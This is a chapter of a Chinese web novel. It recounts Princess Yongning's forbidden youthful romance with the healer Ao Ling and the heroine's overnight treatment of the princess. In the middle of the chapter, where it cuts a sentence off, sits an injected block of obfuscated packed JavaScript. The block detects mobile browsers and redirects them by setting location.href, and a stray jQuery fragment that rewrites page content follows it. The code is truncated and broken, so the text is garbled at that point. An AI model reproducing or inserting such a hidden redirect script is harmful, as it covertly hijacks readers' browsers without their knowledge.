13.长公主(二)
作品:《晏与湘泠》 “师父?”沅湘泠看着待在原地不动的敖灵,很是担忧。
“没事,师父先回去休息了。”敖灵脚步虚浮,像是失了魂,只留下一个单薄的背影,缓缓远去。
【系统:触发支线任务,化解永宁与敖灵心结,成功即可将二人收为夺嫡助力。】
“嗯?师父和长公主之间,会有什么心结呢?不知道系统有没有记录。”
【系统:正在加载支线任务人物过往片段……】
那一年,永宁十七岁,是唐明朝先祖皇帝最宠爱的大公主,金枝玉叶、锦衣玉食。她常叹道,她的家是全天下最华贵的牢笼。
那一日,风和日丽,天朗气清,正是民间踏青祈福的好日子。京城内外正举行着一年一度的面具祭祀大会,男女老少皆戴着面具,嬉笑游街,好不热闹。
永宁心痒难耐,趁着先帝忙着处理前朝政务,悄悄换上一身素色衣裙,卸下珠钗,带着贴身宫女安和,混在御膳房送菜的货车上,从皇宫侧门偷溜出了宫。
踏出宫门的那一刻,永宁只觉得浑身都轻了。没有繁文缛节,没有宫人跪拜,没有步步谨慎的规矩。
京城人潮涌动,街边摊贩的叫卖声此起彼伏,糖画人、甜糕点、热茶汤,都是她从未见过的。还有好多戴着各式面具的人影穿梭如织。
永宁就像一只初离樊笼的雀儿,瞧见什么都觉得新奇。见人人面上都覆着面具,或狰狞或俏皮,她也拉着安和挤到小摊前,买了一张狐狸面具戴上。
没人知道她是公主,她也就可以毫无顾忌地混在人群里,跟着人们蹦蹦跳跳往前走,笑着、闹着,感受着她这从未有过的“自由”。
可人群太过拥挤,推搡之间,她猛地被人撞了一下,再回头时,身后早已没了安和的身影。
“安和!安和!”
永宁慌了,摘了面具又戴上,在人群里焦急地呼喊。她从小在深宫长大,从未独自在外,此刻身边没有一个熟人,身上没有分文,慌乱之下脚步踉跄,被地上的石子一绊,身子直直往前倾了去。
她以为自己要重重磕在旁边的石阶上,闭上眼的瞬间,一只有力而宽大的手掌稳稳托住了她的腰间。
永宁睁开眼,是一张兔子面具,面具里是一双清润如皓月的眼眸。
“姑娘小心。”男子的声音低沉悦耳。
他用力一扶,永宁站稳后,才发现眼前的男子身着青色长衫,身形挺拔,浑身有一种清冽温润的气质。
永宁怔怔地望着眼前的兔子,鬼使神差地,她伸手去将面具揭了下来。
那一刻,天地与周遭仿佛都静了,只有永宁那失了序的心跳声。
眼前的少年郎眉眼清俊,有一双干净又澄澈的眼眸,气质晴朗又温柔。
这惊鸿一瞥,瞬间俘获了十七岁永宁的芳心。一见倾心,也不过如此吧。
她愣在原地,脸颊发烫,连道谢都忘了说。
少年郎见她呆呆看着自己,情不自禁笑道:“姑娘可是与同伴走散了?此地人多,我帮你寻她。”
这个少年郎就是敖灵,十九岁,是京城郊外的小郎中,家中世代行医。今日入城参加面具祭祀大会,顺便采买药材。
敖灵性子温和又有耐心,陪着永宁在人群里找了许久,才找到同样急得眼眶泛红的安和。
永宁舍不得与他辞别,便借口感谢,邀他一同游行。
那一天,是永宁十七年人生里最快乐的一天。
敖灵给她买糖画,一起坐在小摊上吃着街边软糯的甜糕,一起去看喷火表演。敖灵从不会因为她的言行举止与众不同而好奇的追问,只当她是寻常闺阁女子。
从天明到天黑,她够不着的花灯,他会轻轻帮她取下。又会在她说起向往自由时,告诉她,人间处处是风景,心若自在,便无牢笼。
永宁从未见过这样的人,没有臣子的畏惧,没有宫人的谄媚,从没有人这般平等地待她。
分别之时,永宁将自己脖间的一串珍珠项链取下,递给他,“公子,今日多谢你。这个……你留着,算是我的谢意。”
敖灵看着那串项链,很是珍贵,一看便知不是寻常人家之物,可他没有多问,只是取下自己腰间挂着的一枚小小的木质药勺,回赠于她:“姑娘赠我珍宝,我无贵重之物相还,这枚药勺是我亲手所制,现在赠予姑娘,还望姑娘不要嫌弃。”
那之后,永宁常常找借口偷溜出宫,与敖灵相见。
他们不说身份,不问出身,只是陪伴,互说心事。
她陪他上山采药,他与她讲山野的趣事。
他们一起在山上并肩看日落之时,彼此承诺一生一世都要在一起。
没有身份悬殊,他们只是永宁与敖灵。
她以为,真心能抵万难,相爱能越身份。
可她忘了,她是唐明朝的大公主,她的婚事,从来由不得自己。
当时还是太子的唐明宗,察觉了自己姐姐的异样,派人暗中查探,得知他的姐姐竟然与一介平民男子私相往来,随即便将此事禀报给了先帝。
先帝龙颜大怒,皇家颜面,宗室规矩,二人之间的悬殊身份,犹如天堑,横亘在两人之间。
先帝连夜召见永宁,厉声斥责,逼她与敖灵断绝往来,更要将她许配给手握兵权的镇国将军之子,以固朝政。
永宁跪在地上,泪流满面,苦苦哀求:“父皇,女儿不要权贵,只爱敖灵一人,求父皇母后成全!”
“成全?”先帝拍案而起,“朕宠你十七年,不是让你自甘下贱,嫁给一个平民辱没皇家的。此事没得商量,若你执意不从,朕便下令,将那男子处死!”
一国皇帝,一言九鼎。
永宁害怕,她知道,她父皇的手段。她可以不顾自己,但是不能不顾敖灵的性命。
敖灵是在唐明宗带人上门打砸,逼他离开皇姐的时候,才知道永宁是唐明朝的长公主。
当晚,永宁托安和带了一封信给他,信中是约他带着她远走高飞。可是那天,永宁到达信中约定好的地点,等了许久却不见敖灵。
最后她被唐明宗带人抓了回去,对方还带来了敖灵的断绝信。从那以后,永宁长公主便负气出走五台山,带发清修受戒三十三年。
……
“原来是这样……可是当年师父为何没去赴约?又为何写下那封断绝信?二人的症结想来便在于此了。”
“小姐!小姐!”侍女秋词慌慌张张地冲进铺中,“安和姑姑方才差人来报,长公主殿下突发旧疾,已然昏迷不醒!请您即刻前往公主府诊治,马车已经备好了。”
沅湘泠闻言,不敢耽搁,抄起随身药箱,嘱咐秋词留下继续整理铺子,便上了马车。
她赶到公主府时,永宁长公主双目紧闭,卧在拔步床上,面色发灰,嘴唇和指甲已经变成了青紫色。
沅湘泠大感不妙,赶紧上前探鼻息、摸颈动脉和手腕脉,随即吩咐道:“安和姑姑,你帮我掐长公主人中,我现在需要给长公主十宣穴放血。”
说罢,她便从药箱中取出银针,刺向长公主的十指指尖,又取出一枚苏合香丸,命宫人取来热水化开给长公主灌服下去。
一番急救之后,永宁长公主的呼吸渐渐平稳,唇色也慢慢恢复了血色,却依旧昏迷未醒。
沅湘泠一直在忙着,未吃任何东西,这会儿方觉眼前有些发昏,她收了银针,“姑姑,长公主这是旧疾郁结于心,又受了大刺激,才骤然发作。我已施针稳住了长公主的脉象,挨过了今晚,后续还需要慢慢调理。”吩咐安和姑姑守在床前,仔细观察长公主的情况。
安和姑姑早已红了眼眶,连连点头,“有劳沅大小姐了,今夜怕是还要劳烦沅大小姐多费心,我留在这里守着,沅大小姐也去歇息片刻吧。”
沅湘泠颔首应下,独自走到院中,命横柏即刻回沅府,向沅文献夫妇禀报自己今夜要守在公主府,不便归家,让二老不必挂心。
廊下风轻,夜色渐浓。
她刚在廊下坐了没多久,唐晏舟便匆匆而至。他本是要去沅府寻她,却被既白告知,长公主病危,沅湘泠正在公主府救治,便立刻转道赶来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215384|196830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
沅湘泠听到身后传来一阵轻缓的脚步声。她回头时,唐晏舟已经在眼前,手里还提着一只食盒。
“听闻你一直在忙着救治皇姑母,想着你应该未曾用饭,我特意让海棠姑姑做了些清淡适口的饭菜给你送来。”他的声音很轻,很温柔,不似平常对旁人那般冷酷。
“劳殿下挂心了!”沅湘泠瞬间喜笑开颜,自上次初尝到了海棠姑姑的手艺,她心里一直就惦记着这美味。
唐晏舟将食盒放在石桌上,打开来,里面是温热的梅花汤饼,一碟山家清脆和一份春饼,香气淡淡散开,都是应季的春食。
“你慢慢吃,我去看看皇姑母。”
待沅湘泠用完膳,一直陪伴在身边的唐晏舟方才开口问道:“皇姑母为何会突发旧疾,此前在你的膳食调理下,不是已经好了许多吗?”
沅湘泠沉默片刻,压低声音道:“殿下,怕是今日瞧见了我师父,受了刺激才发作的。”
唐晏舟神情一顿,“你师父?”
“是。”沅湘泠缓缓点头,将今日在她铺子所发生之事,和系统里那段过往的经历,一一轻声道来。
从十七岁二人的初见,到如今三十三年后的重逢,她没有隐瞒,尽数说给唐晏舟听。
“原来……皇姑母这些年不愿理会父皇竟是因为这个。”
“唉,只道是‘一摘面具误终身啊’!”沅湘泠轻声叹道,“我一直以为师父是一个淡然脱俗之人,今日却见他如此失魂落魄,想必他心里应该也是从未放下那段情吧。”
“当年你师父一定有不能赴约的理由,还有那些决绝信,感觉也颇为蹊跷。”
“是的。”沅湘泠点头赞同,“虽然只是短短相处了月余,但我知晓师父他并非薄情之人。三十三年前,那场失约,必定另有隐情。”
唐晏舟抬眸,目光与她对上,一瞬便懂了她未说出口的话。
“你想追查当年的真相。”他不是疑问,而是陈述。
沅湘泠会心一笑道,“长公主这病,药石只能治标不能治本,解开她的心结才是根本。若是误会一日不除,她即便是醒了,也依旧被困在这心牢中。师父,也会被困于此,终身难安吧。”
唐晏舟望着她,“你总是这般,顾着别人。”
“其实,我并不懂,什么样的情与爱,能困着人半辈子。”沅湘泠摇摇头苦恼道。
他从袖中拿出罗帕,轻轻拂去她发间沾到的夜露,“你还小,待你遇到意中人时,定会明白。此事,我与你一同查。”
沅湘泠一怔,呆呆看着他那深邃的眸子,心头微跳。
“当年之事,了解的人并不多。安和姑姑是长公主的贴身侍女,必定知晓更多细节。而你师父那边,需你亲自去问。”
“我去寻师父?”
“嗯。”唐晏舟点点头,“他信你。有些话,他也只会对你讲。”
夜风穿过回廊,沅湘泠忍不住打了一个喷嚏。唐晏舟便紧张地唤她进屋休息,他明日再来看望长公主,留下既白守在沅湘泠身旁,若是有事他也能及时知晓。
夜色深沉,御书房内,烛火未灭。
三德公公行至唐明宗身旁,“陛下,公主府的家令来报,长公主殿下今日下午突发旧疾,病危。”
“什么?!怎么现在才来报,可宣过太医。”
“未宣太医,而是宣了泠县主入府救治,目前病情已控制住了,但是还未苏醒。”
“湘泠丫头的医术怎么能跟太医院相比呢。快选太医令前往公主府候着。”
“是,陛下。据说泠县主是无涯山神医的弟子,医术不在太医之下。”
“哦,竟然还有这段渊源,既然如此,就先听着他们的安排吧。想必长姐也是极信任湘泠丫头,不然也不会第一时间宣她进府。长姐的事,今晚先不要惊动母后,明日朕亲自去与母后说。”
“对了,你派人去告诉湘泠丫头,她只管治,若是需要珍稀药材,可以随时从宫中调取。你将这块令牌一并赐给湘泠丫头,凭此令牌可以随意出入皇宫。”

